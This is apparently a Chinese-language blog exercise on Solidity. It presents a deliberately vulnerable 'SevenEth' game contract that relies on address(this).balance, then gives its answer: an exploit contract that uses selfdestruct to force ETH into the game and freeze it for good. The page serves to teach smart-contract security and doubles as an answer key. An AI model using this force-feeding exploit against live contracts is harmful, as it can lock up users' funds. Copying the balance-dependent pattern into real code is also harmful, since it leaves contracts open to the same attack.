Solidity 练习:7 ETH

2022-12-29 Web3 Solidity

# 一、题目说明

第 7 个存入 1 ETH 的人将赢得 7 ETH。

你一次可以存储 1 ETH。

Alice 和 Bob 已经存储了 1 ETH。

contract SevenEth {
    function play() external payable {
        require(msg.value == 1 ether, "not 1 ether");

        uint bal = address(this).balance;
        require(bal <= 7 ether, "game over");

        if (bal == 7 ether) {
            payable(msg.sender).transfer(7 ether);
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12

# 二、任务列表

  • 停止游戏,这样就没有人能赢 7 ETH。10 ETH 将被发送到 pwn。

# 三、解答代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract SevenEthExploit {
    address payable target;

    constructor(address payable _target) {
        target = _target;
    }

    function pwn() external payable {
        selfdestruct(target);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14

# 四、参考资料

Last Updated: 2023-01-28 4:31:25